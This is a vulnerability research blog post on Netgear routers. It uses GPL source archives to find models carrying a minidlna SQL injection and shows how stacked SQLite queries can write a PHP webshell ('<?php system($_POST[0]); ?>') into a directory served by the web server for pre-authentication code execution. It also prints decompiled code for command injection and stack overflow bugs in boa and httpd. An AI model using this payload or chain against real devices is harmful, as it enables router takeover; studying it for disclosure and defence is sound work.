C110010: Attacking Netgear D6000, Mutiple Remotes Code Execution (pre-auth) - part 1
Introduction
I was reading Zachary Cutlip’s
work (who reverse engineered Netgear minidlna
binary):
- SQL Injection to MIPS Overflows from 2012
- SQL Injection to MIPS Overflows:Part Deux from 2014
And wondered if his work could still be useful today.
It was therefore necessary to establish a list of router models and versions
vulnerable to the SQL injection in minidlna
binary.
Let’s make a list of vulnerable firmware
The first question is how to identify whether the binary is vulnerable or not, and to this question we can find two answers.
The first solution is to perform a grep
on the binary and check for the
presence or absence of the following string:
INSERT OR REPLACE into BOOKMARKS VALUES ((select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'), %q)
But that assumes that we’re in possession of the binary. Based on my experience,
I know that Netgear firmware are packaged in different ways depending on the
model and version. Sometimes, thanks to binwalk, we can identify a SquashFS,
sometimes a UBIFS, and sometimes, they use a custom SquashFS, which we decompress
using the sasquatch
binary (thanks
devttys0).
I’m lazy and didn’t wanted to go to the trouble of creating a tool that would handle all types of firmware and end up having to deal with a lot of edge cases. So I automatically went for solution 2.
I’ve already expressed this in several blog posts, everybody believes in reverse
engineering, but for me, the solution for SOHO router auditing are the GPLs.
I repeat, G-P-L (GNU General Public License). It has allowed me to identify
0days and greatly simplifies the process of creating POCs for 1days. Solution 2
is simple, download the GPLs (usually a simple archive), unpack the archive and
use grep
.
For some downloaded archives I’ve noticed a Russian doll system (an archive within an archive) but this isn’t the majority of cases (and is therefore an edge case) that we won’t be dealing with (so my solution isn’t perfect).
How to manage the different types of archive possible?
Once again, the solution is simple:
7z
And to the question of where to find GPLs, look at the link below:
wget https://www.downloads.netgear.com/files/GDC/2649_GPLv1.html
The file containing the links can also be downloaded here in case Netgear changes the way its site works.
After cleaning the file containing the links, we obtain the following list of GPLs to download. All you have to do is run the following bash command (from folder /home/<USER>/Downloads/), and you will know which models and versions are potentially vulnerable.
cat link.lst|parallel -j 3 ./run.sh
File: run_0.sh
URL=$1
RINT=$RANDOM
WORKDIR=/home/<USER>/Downloads/Tests/$RINT
mkdir -p $WORKDIR
if [ $? -ne 0 ]
then
RINT=$RANDOM
WORKDIR=/home/<USER>/Downloads/Tests/$RINT
mkdir -p $WORKDIR
fi
cd $WORKDIR
rm -rf $WORKDIR/*
# Download archive.
wget -q $URL
# Try to decompress archive.
7z x ./* 1>/dev/null 2>/dev/null
if [ $? -eq 0 ]
then
# Looking for vulnerability.
grep -R --text "INSERT OR REPLACE into BOOKMARKS VALUES ((select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'), %q)" ./* 1>/dev/null 2>/dev/null
if [ $? -eq 0 ]
then
# Vulnerability detected.
echo "[FIRMWARE][+]: '$URL', might be vulnerable" >> /home/<USER>/Downloads/run.log
fi
fi
# Removing everything.
rm -rf $WORKDIR
After letting the script run (this may take some time), we obtain the following result:
File: run_0.log
[FIRMWARE][+]: 'https://www.downloads.netgear.com/files/GPL/D3600_v1.0.0.47_GPL_20150422.tar', might be vulnerable
[FIRMWARE][+]: 'https://www.downloads.netgear.com/files/GPL/D6000_GPL_V1.0.0.64.tar.gz', might be vulnerable
[FIRMWARE][+]: 'https://www.downloads.netgear.com/files/GPL/DGND3800B_V3.0.0.10_src_full.zip', might be vulnerable
...
[FIRMWARE][+]: 'https://www.downloads.netgear.com/files/GPL/WNDR4500v2_V1.0.0.42_1.0.25_source.and.toolchain.tar.zip', might be vulnerable
The results can be presented as follows:
Models |
---|
D3600 |
D6000 |
DGND3800B |
R3450UD |
R6200 |
R6300 |
R7900P |
R8000P |
RAX30 |
RAXE300 |
VEGN2610 |
VEVG2660 |
WNDR3700v3 |
WNDR4000 |
WNDR4500 |
WNDR4500v2 |
Now that we have a list of potential targets, let’s take a look at how we can manually determine whether each target is vulnerable or not.
Let’s check if a specific firmware is vulnerable
For example, let’s take the router R6200 using firmware 1.0.1.56_1.0.43.
First, download the firmware using wget
:
$ wget https://www.downloads.netgear.com/files/GDC/R6200/R6200-V1.0.1.56_1.0.43.zip
Use binwalk
to see what the firmware contains:
$ binwalk R6200-V1.0.1.56_1.0.43.chk
DECIMAL HEXADECIMAL DESCRIPTION
--------------------------------------------------------------------------------
58 0x3A TRX firmware header, little endian, image size: 9453568 bytes, CRC32: 0x2ED5266A, flags: 0x0, version: 1, header size: 28 bytes, loader offset: 0x1C, linux kernel offset: 0x1468C4, rootfs offset: 0x0
86 0x56 LZMA compressed data, properties: 0x5D, dictionary size: 65536 bytes, uncompressed size: 3936389 bytes
1337598 0x1468FE Squashfs filesystem, little endian, non-standard signature, version 3.0, size: 8113171 bytes, 973 inodes, blocksize: 65536 bytes, created: 2015-06-09 03:20:14
Extract the Squashfs filesystem using dd
:
$ dd if=R6200-V1.0.1.56_1.0.43.chk of=R6200-V1.0.1.56_1.0.43.squashfs skip=1337598 bs=1
8116028+0 records in
8116028+0 records out
8116028 bytes transferred in 15.831382 secs (512654 bytes/sec)
Decompress the filesystem using sasquatch
:
$ sasquatch R6200-V1.0.1.56_1.0.43.squashfs
SquashFS version [3.0] / inode count [973] suggests a SquashFS image of the same endianess
Non-standard SquashFS Magic: shsq
Parallel unsquashfs: Using 1 processor
Trying to decompress using default gzip decompressor...
Trying to decompress with lzma...
Detected lzma compression
Trying to decompress with lzma-adaptive...
Trying to decompress with lzma-alt...
Detected lzma-alt compression
919 inodes (1259 blocks) to write
[=================================================================================================================/] 1259/1259 100%
created 801 files
created 54 directories
created 118 symlinks
created 0 devices
created 0 fifos
Use grep
to look for the vulnerability:
$ grep -Ri --text "INSERT OR REPLACE into BOOKMARKS VALUES ((select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'), %q)" ./squashfs-root/usr/sbin/minidlna.exe
scpd xmlns="urn:schemas-upnp-org:service-1-0"root xmlns="urn:schemas-upnp-org:device-1-0"Internal Server Errormp3mp4m4ax-ms-wmawmax-flacx-wavL16pcm3gpp3gpapplication/oggdatavimpgx-ms-wmvwmvmkvx-mkvx-flvvnd.dlna.mpeg-ttsquicktimemovx-tivo-mpegTiVo@childCountdc:creatordc:datedc:descriptiondlna@refIDupnp:albumupnp:albumArtURI@dlna:profileIDupnp:artistupnp:actorupnp:genreupnp:originalTrackNumberupnp:searchClassupnp:storageUsedresres@bitrate@bitrateres@duration@durationres@nrAudioChannels@nrAudioChannelsres@resolution@resolutionres@sampleFrequency@sampleFrequencyres@size@sizesec:CaptionInfoExsec:dcmInfores@pv:subtitleFileTyperes@pv:subtitleFileUriav:mediaClassorder by , upnp:classo.CLASSdc:titled.TITLEd.DATEd.DISC, d.TRACKd.ALBUM, TITLE ASCunhandled sort CriteriadummyArgumentInvalid Args<DeviceIDInvalid ActionPosSecondINSERT OR REPLACE into BOOKMARKS VALUES ((select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'), %q)varNameConnectionStatusurn:schemas-upnp-org:control-1-0Invalid Var>
We’ve gone from a router with potentially a vulnerable firmware to a router with
theoretically a vulnerable firmware. We could also have just looked at the
minidlna
source code in the GPLs. Here’s the call stack to reach the vulnerable
code:
main()
minidlna.cProcess_upnphttp()
upnphttp.cProcessHttpQuery_upnphttp()
upnphttp.cProcessHTTPPOST_upnphttp()
upnphttp.cExecuteSoapAction()
upnpsoap.cSamsungSetBookmark()
upnpsoap.c
File: upnpsoap.c
...
static void
SamsungSetBookmark(struct upnphttp * h, const char * action)
{
static const char resp[] =
"<u:X_SetBookmarkResponse"
" xmlns:u=\"urn:schemas-upnp-org:service:ContentDirectory:1\">"
"</u:X_SetBookmarkResponse>";
struct NameValueParserData data;
char *ObjectID, *PosSecond;
int ret;
ParseNameValue(h->req_buf + h->req_contentoff, h->req_contentlen, &data);
ObjectID = GetValueFromNameValueList(&data, "ObjectID");
PosSecond = GetValueFromNameValueList(&data, "PosSecond");
if( ObjectID && PosSecond )
{
ret = sql_exec(db, "INSERT OR REPLACE into BOOKMARKS"
" VALUES "
"((select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'), %q)", ObjectID, PosSecond);
if( ret != SQLITE_OK )
DPRINTF(E_WARN, L_METADATA, "Error setting bookmark %s on ObjectID='%s'\n", PosSecond, ObjectID);
BuildSendAndCloseSoapResp(h, resp, sizeof(resp)-1);
}
else
SoapError(h, 402, "Invalid Args");
ClearNameValueList(&data);
}
...
static const struct
{
const char * methodName;
void (*methodImpl)(struct upnphttp *, const char *);
}
soapMethods[] =
{
{ "QueryStateVariable", QueryStateVariable},
{ "Browse", BrowseContentDirectory},
{ "Search", SearchContentDirectory},
{ "GetSearchCapabilities", GetSearchCapabilities},
{ "GetSortCapabilities", GetSortCapabilities},
{ "GetSystemUpdateID", GetSystemUpdateID},
{ "GetProtocolInfo", GetProtocolInfo},
{ "GetCurrentConnectionIDs", GetCurrentConnectionIDs},
{ "GetCurrentConnectionInfo", GetCurrentConnectionInfo},
{ "IsAuthorized", IsAuthorizedValidated},
{ "IsValidated", IsAuthorizedValidated},
{ "X_GetFeatureList", SamsungGetFeatureList},
{ "X_SetBookmark", SamsungSetBookmark},
{ 0, 0 }
};
...
That’s when I realized that in the first step I should have grep
string:
((select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'), %q)
And not:
INSERT OR REPLACE into BOOKMARKS VALUES ((select DETAIL_ID from OBJECTS where OBJECT_ID = '%q'), %q)
Because there are line breaks in the source code. So, we’ve probably missed some targets.
After applying the patch and restarting the script (run_1.sh),the result is no longer 60 version potentialy vulnerable but more than 450.
Here is the new list of potentially vulnerable routers:
Models | Models |
---|---|
AC1450 | AC2100 |
AC2100v1 | AC2400 |
AC2400v1 | AC2600 |
AC2600v1 | D3600 |
D6000 | D6400 |
D7000 | D7000v1 |
D7800 | D8500 |
DC112A | DGND3800B |
EAX11v2 | EAX12 |
EAX15v2 | EX3700 |
EX3800 | EX6000 |
EX6120 | EX6130 |
EX6150 | EX6200 |
EX6200v2 | EX6250v2 |
EX6400v3 | EX6410v2 |
EX6470 | EX7000 |
EXS6190 | MR70 |
MR90 | MS70 |
MS90 | R3450UD |
R6200 | R6200v2 |
R6220 | R6250 |
R6260 | R6260v1 |
R6300 | R6300v2 |
R6330 | R6330v1 |
R6350 | R6350v1 |
R6400 | R6400v2 |
R6700 | R6700v2 |
R6700v3 | R6800 |
R6800v1 | R6850 |
R6850v1 | R6900 |
R6900P | R6900v2 |
R7000 | R7000P |
R7000PLUS | R7100LG |
R7200v1 | R7300 |
R7350v1 | R7400v1 |
R7450 | R7450v1 |
R7900 | R7900P |
R8000 | R8000P |
R8300 | R8500 |
R8900 | R9000 |
RAX30 | RAX5 |
RAXE300 | RAXE450 |
RAXE500 | RS400 |
VEGN2610 | VEVG2660 |
WAC104 | WAC124 |
WNDR3700v3 | WNDR3700v5 |
WNDR4000 | WNDR4500 |
WNDR4500v2 | XR300 |
XR500 |
Let’s take a look at how the binary is compiled
Let’s use find
:
$ file ./squashfs-root/usr/sbin/minidlna.exe
./squashfs-root/usr/sbin/minidlna.exe: ELF 32-bit LSB executable, MIPS, MIPS32 version 1 (SYSV), dynamically linked, interpreter /lib/ld-uClibc.so.0, stripped
The binary is compiled for mipsel (some routers may be using ARM), so we’ll need a dedicated toolchain. Select the toolchain you are interested in at:
Since the binary is compiled dynamically, let’s look at the libraries it uses:
$ readelf -d ./squashfs-root/usr/sbin/minidlna.exe
Dynamic section at offset 0x140 contains 41 entries:
Tag Type Name/Value
0x00000001 (NEEDED) Shared library: [libpthread.so.0]
0x00000001 (NEEDED) Shared library: [libexif.so.12]
0x00000001 (NEEDED) Shared library: [libjpeg.so.7]
0x00000001 (NEEDED) Shared library: [libsqlite3.so.0]
0x00000001 (NEEDED) Shared library: [libavformat.so.52]
0x00000001 (NEEDED) Shared library: [libid3tag.so.0]
0x00000001 (NEEDED) Shared library: [libFLAC.so.8]
0x00000001 (NEEDED) Shared library: [libvorbis.so.0]
0x00000001 (NEEDED) Shared library: [libavcodec.so.52]
0x00000001 (NEEDED) Shared library: [libavutil.so.49]
0x00000001 (NEEDED) Shared library: [libogg.so.0]
0x00000001 (NEEDED) Shared library: [libz.so.1]
0x00000001 (NEEDED) Shared library: [libm.so.0]
0x00000001 (NEEDED) Shared library: [libdl.so.0]
0x00000001 (NEEDED) Shared library: [libgcc_s.so.1]
0x00000001 (NEEDED) Shared library: [libc.so.0]
0x0000000f (RPATH) Library rpath: [/home/builder/project/R6200/V1.0.1.56/2013_04_03_R6200_Beamforming/ap/gpl/minidlna/lib/]
0x0000000c (INIT) 0x404704
0x0000000d (FINI) 0x439620
0x00000004 (HASH) 0x4002b0
0x00000005 (STRTAB) 0x4029c0
0x00000006 (SYMTAB) 0x400dd0
0x0000000a (STRSZ) 6468 (bytes)
0x0000000b (SYMENT) 16 (bytes)
0x70000016 (MIPS_RLD_MAP) 0x487e60
0x00000015 (DEBUG) 0x0
0x00000003 (PLTGOT) 0x487e70
0x00000011 (REL) 0x0
0x00000012 (RELSZ) 0 (bytes)
0x00000013 (RELENT) 8 (bytes)
0x70000001 (MIPS_RLD_VERSION) 1
0x70000005 (MIPS_FLAGS) NOTPOT
0x70000006 (MIPS_BASE_ADDRESS) 0x400000
0x7000000a (MIPS_LOCAL_GOTNO) 12
0x70000011 (MIPS_SYMTABNO) 447
0x70000012 (MIPS_UNREFEXTNO) 38
0x70000013 (MIPS_GOTSYM) 0xb
0x6ffffffe (VERNEED) 0x404684
0x6fffffff (VERNEEDNUM) 4
0x6ffffff0 (VERSYM) 0x404304
0x00000000 (NULL) 0x0
We can see that the binary uses the library libsqlite3.so.0
located at
/lib/libsqlite3.so.0 (on the filesystem).
Convert the SQL Injection to an Arbitrary File Write
SQL Stacked Queries
In some cases, SQLite allows you to use stacked queries. We can check that by
reading the code of minidlna
.
File: sql.c
...
int
sql_exec(sqlite3 *db, const char *fmt, ...)
{
int ret;
char *errMsg = NULL;
char *sql;
va_list ap;
//DPRINTF(E_DEBUG, L_DB_SQL, "SQL: %s\n", sql);
va_start(ap, fmt);
sql = sqlite3_vmprintf(fmt, ap);
ret = sqlite3_exec(db, sql, 0, 0, &errMsg);
if( ret != SQLITE_OK )
{
DPRINTF(E_ERROR, L_DB_SQL, "SQL ERROR %d [%s]\n%s\n", ret, errMsg, sql);
if (errMsg)
sqlite3_free(errMsg);
}
sqlite3_free(sql);
return ret;
}
...
The sqlite3_exec() interface runs zero or more UTF-8 encoded, semicolon-separate SQL statements passed into its 2nd argument, in the context of the database connection passed in as its 1st argument. - https://www.sqlite.org/c3ref/exec.html
Since minidlna
interacts with a SQLite database and since it supports stacked
queries, we can transform the SQL injection found by Zachary into an Arbitrary
File Write.
Here is a generic example of stacked queries adapted from Swissky’s git repository:
ATTACH DATABASE '/tmp/p.php' AS d;CREATE TABLE d.t (p text);INSERT INTO d.t (p) VALUES ("<?php system($_POST[0]); ?>");--
The ATTACH DATABASE command associates the database file filename with the current database connection under the logical database name database_name . If the database file filename does not exist, it will be created. - https://www.oreilly.com/library/view/using-sqlite/9781449394592/re79.html
However, we must keep in mind that by using this payload we will be able to control the file in which we are writing and part of its contents.
Why only part of the contents?
I invite you to read the following documentation:
But to put it simply, the file created will look like this!
Database file: /tmp/p.php
---------------------------
| |
| DATA | <- Ignored by the PHP engine
| |
|---------------------------|
| |
|<?php system($_POST[0]); ?>|
| |
|---------------------------|
| |
| DATA | <- Ignored by the PHP engine
| |
---------------------------
As the PHP documentation so clearly states:
When PHP parses a file, it looks for opening and closing tags, which are
<?php
and?>
which tell PHP to start and stop interpreting the code between them. Parsing in this manner allows PHP to be embedded in all sorts of different documents, as everything outside of a pair of opening and closing tags is ignored by the PHP parser. - https://www.php.net/manual/en/language.basic-syntax.phptags.php
Write what where?
We are now able to write webshell, but the question is where to place it on the target filestytem so that we can execute it without authentication.
Tenable have identified a directory that may be suitable for us (by plugging in a USB key) thanks to CVE-2023-27851.
NETGEAR contains a file sharing mechanism that unintentionally allows users with upload permissions to execute arbitrary code on the device.
The lighttpd configuration for the device is configured to execute any PHP code in the “/webs” directory by default when browsed to. Since all file shares are served from “/webs/shares”, it is possible for user-provided code and scripts to be executed. For example, if an attacker places code, such as a PHP webshell, into a share and then visits it (for example: http://<device>/shares/USB_Storage/share/webshell.php), they are able to execute arbitrary code on the device. - https://www.tenable.com/security/research/tra-2023-9
Happily for us, we don’t need to plug in the USB stick as we have an Arbitrary File Write. We now have the complete chain that allows us to get Remote Code Execution via the LAN without authentication on vulnerable routers. Unfortunately for me, I’m not the only person to have identified this chain. So, I’d like to congratulate Insu Yun, Seunghyun Kim and Gyeongwon Kim from Hacking Lab for identifying this chain before me.
Bonus for the brave ones
Because this research has given me the opportunity to look at a lot of different HTTP server used by Netgear, here are some other bugs I’ve identified along the way, if they’re of any use to you.
D6000 Command Injection in boa
(audited version: v1.0.0.80)
Because I was looking for memory corruptions in the .asp
handler, I discovered that binary boa
(/userfs/bin/boa)
is vulnerable to command injection via a dangerous call to function popen()
.
The variable cmd
is partially controllable by the attacker.
File: /userfs/bin/boa
Function: ExecuteHnapAction()
#include "boa.h"
int ExecuteHnapAction(request *req)
{
char soapaction[1024] = {0}, buffer[CLIENT_STREAM_SIZE];
char *temp_p = NULL;
char cmd[32]={0};
char filename[128]={0};
FILE *pp = NULL, *fp = NULL;;
bzero(buffer, CLIENT_STREAM_SIZE);
//sscanf(line,"%*[^:]:%*[^:]://%*[^/]/%*[^/]/%[^\"]",soapaction);
strcpy(soapaction, req->hnap_action);
int len,read_len;
char xml_body[4096];
if (req->content_length){
/* Read the XML content into buffer for futher parsing */
len = atoi(req->content_length);
lseek(req->post_data_fd, 0,SEEK_SET);
read_len = read(req->post_data_fd,xml_body,len);
//tcdbg_printf("read_len %d\n", read_len);
}
sprintf(filename,"/tmp/xml_body_%s.xml", soapaction);
if (soapaction[0] != '\0')
{
...
fp = fopen(filename, "w");
if (fp != NULL)
{
//fprintf(fp, xml_body);
fwrite(xml_body, sizeof(char), read_len, fp);
}
fclose(fp);
sprintf(cmd,"/userfs/bin/hnap_handler Action %s", soapaction);
//sprintf(cmd,"/userfs/bin/hnap_handler Action %s -d", soapaction);
if (strstr(cmd, "-d") != NULL)
tcdbg_printf("debug %s %d cmd %s\n", __FUNCTION__, __LINE__, cmd);
if((pp = popen(cmd, "r")) != NULL)
{
req->response_status = R_REQUEST_OK;
if (req->simple)
return 0;
req_write(req, "HTTP/1.0 200 OK\r\n");
print_http_headers(req);
//print_no_cache(req);
if (!req->is_cgi) {
//print_content_length(req);
print_last_modified(req);
req_write(req, "Content-Type: text/xml; charset=\"utf-8\"\r\n");
//print_content_type(req);
req_write(req, "\r\n");
}
while(fgets(buffer,sizeof(buffer),pp)){
req_write(req, buffer);
if (strstr(cmd, "-d") != NULL)
tcdbg_printf("debug %s %d response %s",__FUNCTION__, __LINE__, buffer);
}
req_flush(req);
req->buffer_end = 0;
req->status = DEAD;
SQUASH_KA(req);
pclose(pp);
}
...
main()
(boa.c)select_loop()
(boa.c)process_requests()
(request.c)write_body()
(read.c)ExecuteHnapAction()
(hnap.c)
R6200 Multiple Stack Based Buffer Overflow in httpd
(audited version: v1.0.1.56_1.0.43)
The httpd
binary contains multiple Stack Based Buffer Overflow.
As you can see below as an example, the function fwCgiServiceEditPPPoE2()
calls websGetVar()
which parses the query parameters and retrieves the value
associated with a parameter (applies URL decode if required), the parameter
value is written to a buffer.
File: /usr/sbin/httpd
Function: fwCgiServiceEditPPPoE2()
undefined4 fwCgiServiceEditPPPoE2(char *param_1,int param_2,undefined4 param_3,char *param_4)
{
bool bVar1;
int iVar2;
undefined4 *puVar3;
int iVar4;
char *pcVar5;
char *pcVar6;
undefined4 uVar7;
uint uVar8;
code *pcVar9;
int iVar10;
int *piVar11;
undefined4 *__dest;
uint unaff_s4;
int *piVar12;
code *pcVar13;
in_addr local_510;
uint local_50c [3];
uint local_500;
code *local_4fc;
char acStack_4e4 [48];
char acStack_4b4 [48];
char acStack_484 [64];
...
code *local_34;
char *local_30;
char *local_2c;
websGetVar(param_1,"apply",local_144);
if (local_144[0] == '\0') goto LAB_00455a38;
piVar12 = DAT_005c86b0;
if (DAT_005a9e20 < 1) {
if (DAT_005a9e20 != 0) goto LAB_00455a38;
}
else {
if (DAT_005c86b0 == (int *)0x0) goto LAB_00455a38;
for (iVar4 = 1; iVar4 != DAT_005a9e20; iVar4 = iVar4 + 1) {
if ((int *)piVar12[8] == (int *)0x0) goto LAB_00455a38;
piVar12 = (int *)piVar12[8];
}
}
if ((piVar12 == (int *)0x0) || (*piVar12 == 0)) goto LAB_00455a38;
local_2c = acStack_244;
websGetVar(param_1,"service_type",acStack_244);
local_30 = acStack_4e4;
websGetVar(param_1,"userdefined",local_30);
...
Interesting line:
...
local_30 = acStack_4e4;
websGetVar(param_1,(astruct *)0x4f398c,local_30);
...
local_30
point to acStack_4e4
and is a char
array of length 48. As you can
see, the function websGetVar()
can copy up to 256 characters (255 char plus
\0
as last char, \0
is shorthand for \000
which is an octal character
escape) into the buffer. So, there’s an overflow. And as the buffer is located
on the stack, it’s a Stack Based Buffer overflow.
Each time the function
websGetVar()
is called, an overflow may occur if the size of the destination bufferparam_3
is less than 256 bytes.
File: /usr/sbin/httpd
Function: websGetVar()
undefined4 websGetVar(char *param_1,char *param_2,char *param_3)
{
size_t __n;
int iVar1;
long lVar2;
char cVar3;
char *pcVar4;
char *pcVar5;
int iVar6;
char local_28;
char local_27;
undefined local_26;
char *pcStack_24;
*param_3 = '\0';
cVar3 = *param_1;
iVar6 = 0;
pcVar5 = param_1 + 1;
do {
pcVar4 = pcVar5;
if (cVar3 == '\0') {
return 0xffffffff;
}
__n = strlen(param_2);
iVar1 = strncmp(param_1,param_2,__n);
if ((iVar1 == 0) && (param_1[__n] == '=')) {
if ((pcVar4[-2] == '&') || (iVar6 == 0)) {
pcVar4 = pcVar4 + __n;
cVar3 = *pcVar4;
iVar6 = 0;
if ((cVar3 != '&') && (cVar3 != '\0')) {
iVar1 = 0;
pcVar5 = param_3;
do {
if (cVar3 == '%') {
local_28 = pcVar4[1];
local_27 = pcVar4[2];
local_26 = 0;
lVar2 = strtol(&local_28,&pcStack_24,0x10);
pcVar4 = pcVar4 + 3;
*pcVar5 = (char)lVar2;
}
else if (cVar3 == '+') {
pcVar4 = pcVar4 + 1;
*pcVar5 = ' ';
}
else {
*pcVar5 = cVar3;
pcVar4 = pcVar4 + 1;
}
cVar3 = *pcVar4;
pcVar5 = pcVar5 + 1;
iVar1 = iVar1 + 1;
if ((cVar3 == '&') || (iVar6 = 0xff, cVar3 == '\0')) {
param_3[iVar1] = '\0';
return 0;
}
} while (iVar1 != 0xff);
}
param_3[iVar6] = '\0';
return 0;
}
}
else {
iVar6 = iVar6 + 1;
}
cVar3 = *pcVar4;
pcVar5 = pcVar4 + 1;
param_1 = pcVar4;
} while( true );
}
Thanks to the parameter names (service_type
and userdefined
), we can easily
find out which HTTP query is used to trigger the function fwCgiServiceEditPPPoE2()
by looking at which .html file contains the values
(using grep
).
Then all we have to do is find the right form
within the file in question,
which in our case is /www/BKS_service_edit.htm.
R6200 Multiple Command Injection in httpd
(audited version: v1.0.1.56_1.0.43)
The feature that change the router password can have side effects.
The function passwordCgiMain()
is used to define the value http_passwd
by
calling function acosNvramConfig_set()
. By controlling the parameter
sysNewPasswd
of the HTTP request, we control the value of http_passwd
.
File: /usr/sbin/httpd
Function: passwordCgiMain()
undefined4 passwordCgiMain(undefined4 param_1,int param_2)
{
bool bVar1;
char *__s2;
int iVar2;
FILE *__stream;
undefined4 uVar3;
undefined4 uVar4;
char local_738 [256];
char local_638 [256];
undefined auStack_538 [256];
undefined auStack_438 [256];
undefined auStack_338 [256];
undefined auStack_238 [256];
char local_138 [256];
undefined *local_38;
undefined *local_34;
undefined *local_30;
websGetVar(param_1,"sysOldPasswd",local_738);
websGetVar(param_1,"sysNewPasswd",local_638);
__s2 = (char *)acosNvramConfig_get("http_passwd");
local_38 = auStack_538;
websGetVar(param_1,"question1",local_38);
local_30 = auStack_438;
websGetVar(param_1,"question2",local_30);
local_34 = auStack_338;
websGetVar(param_1,"answer1",local_34);
websGetVar(param_1,"answer2",auStack_238);
websGetVar(param_1,"checkPassRec",local_138);
if ((local_738[0] == '\0') && (local_638[0] == '\0')) {
bVar1 = false;
goto joined_r0x004475f0;
}
iVar2 = strcmp(local_738,__s2);
if (iVar2 != 0) {
uVar3 = stringOut("failure_head");
uVar4 = stringOut("old_paswd_wrong");
respCgiSendResp(uVar3,uVar4,"PWD_password.htm",param_2);
return 0;
}
if (local_638[0] == '\0') {
acosNvramConfig_set("http_passwd","");
acosNvramConfig_save();
iVar2 = strcmp(local_638,__s2);
if (iVar2 != 0) goto LAB_004477a0;
LAB_004475ac:
bVar1 = false;
}
else {
acosNvramConfig_set("http_passwd",local_638);
acosNvramConfig_save();
iVar2 = strcmp(local_638,__s2);
if (iVar2 == 0) goto LAB_004475ac;
LAB_004477a0:
bVar1 = true;
usbLoadSettings();
}
__stream = fopen("/tmp/opendns_auth.tbl","w");
if (__stream != (FILE *)0x0) {
fclose(__stream);
}
joined_r0x004475f0:
if (local_138[0] == '1') {
acosNvramConfig_set("password_question1",local_38);
acosNvramConfig_set("password_question2",local_30);
acosNvramConfig_set("password_answer1",local_34);
acosNvramConfig_set("password_answer2",auStack_238);
acosNvramConfig_set("enable_password_recovery",local_138);
acosNvramConfig_save();
}
else {
acosNvramConfig_set("enable_password_recovery","0");
}
sendPage2Client("PWD_password.htm",param_2);
if (bVar1) {
close(param_2);
usbRestartServices(1);
}
return 0;
}
As an example, the function afp_write_shadow_passwd()
uses function
acosNvramConfig_get()
to retrieve the value http_passwd
. It then creates a
string using this value via a call to function sprintf()
. And then use the
system()
function (to execute a shell command) with this string as the only
parameter.
File: /usr/sbin/httpd
Function: afp_write_shadow_passwd()
void afp_write_shadow_passwd(void)
{
int iVar1;
undefined4 uVar2;
FILE *pFVar3;
char *pcVar4;
char local_218;
undefined auStack_217 [127];
undefined local_198;
undefined auStack_197 [127];
char acStack_118 [256];
local_218 = '\0';
memset(auStack_217,0,0x7f);
local_198 = 0;
memset(auStack_197,0,0x7f);
iVar1 = acosNvramConfig_match("afpd_enable","0");
if (iVar1 == 0) {
system("rm /tmp/chgpasswd");
uVar2 = acosNvramConfig_get("http_passwd");
sprintf(acStack_118,"passwd admin pw %s > /tmp/chgpasswd",uVar2);
system(acStack_118);
pFVar3 = fopen("/tmp/chgpasswd","r");
if (pFVar3 == (FILE *)0x0) {
puts("/tmp/chgpasswd: no files!");
}
else {
pcVar4 = fgets(&local_218,0x80,pFVar3);
if (pcVar4 != (char *)0x0) {
sscanf(&local_218,"%s",&local_198);
}
fclose(pFVar3);
pFVar3 = fopen("/tmp/config/shadow","w+");
if (pFVar3 != (FILE *)0x0) {
fprintf(pFVar3,"admin:%s:10957:0:99999:7:::\n",&local_198);
fprintf(pFVar3,"guest::10957:0:99999:7:::",&local_198);
fclose(pFVar3);
return;
}
puts("/tmp/config/shadow: no files!");
}
}
return;
}
This bug pattern is also present in the function samba_writeEtcPasswd()
:
File: /usr/sbin/httpd
Function: samba_writeEtcPasswd()
void samba_writeEtcPasswd(void)
{
FILE *__stream;
undefined4 uVar1;
size_t __size;
char acStack_1328 [256];
char local_1228;
undefined auStack_1227 [511];
char local_1028;
undefined auStack_1027 [4095];
local_1028 = '\0';
memset(auStack_1027,0,0xfff);
local_1228 = '\0';
memset(auStack_1227,0,0x1ff);
local_1028 = '\0';
local_1228 = '\0';
__stream = fopen("/tmp/samba/private/passwd","w+");
if (__stream == (FILE *)0x0) {
puts("/tmp/samba/private/passwd: no files!");
}
else {
fread(&local_1028,1,0x1000,__stream);
sprintf(&local_1228,"%s:*:0:0:%s:/:/bin/sh\r\n","nobody","nobody");
strcat(&local_1028,&local_1228);
uVar1 = acosNvramConfig_get("http_passwd");
sprintf(&local_1228,"%s:%s:0:0:%s:/:/bin/sh\r\n","admin",uVar1,"admin");
strcat(&local_1028,&local_1228);
sprintf(&local_1228,"%s:%s:0:0:%s:/:/bin/sh\r\n","guest","guest","guest");
strcat(&local_1028,&local_1228);
uVar1 = acosNvramConfig_get("http_passwd");
sprintf(acStack_1328,"/usr/local/samba/smb_pass %s %s","admin",uVar1);
system(acStack_1328);
sprintf(acStack_1328,"/usr/local/samba/smb_pass %s %s","guest","guest");
system(acStack_1328);
__size = strlen(&local_1028);
fwrite(&local_1028,__size,1,__stream);
fclose(__stream);
}
return;
}
Here are the two possible call stacks to trigger the bug.
USBAdvCgiMain()
usbRestartServices(2)
samba_writeEtcPasswd()
afp_write_shadow_passwd()
USBUmountCgi()
usbRestartServices(2)
samba_writeEtcPasswd()
afp_write_shadow_passwd()
With this bug, we may obtain persistence on the router which is useful for surviving reboot as our payload will be stored in NVRAM.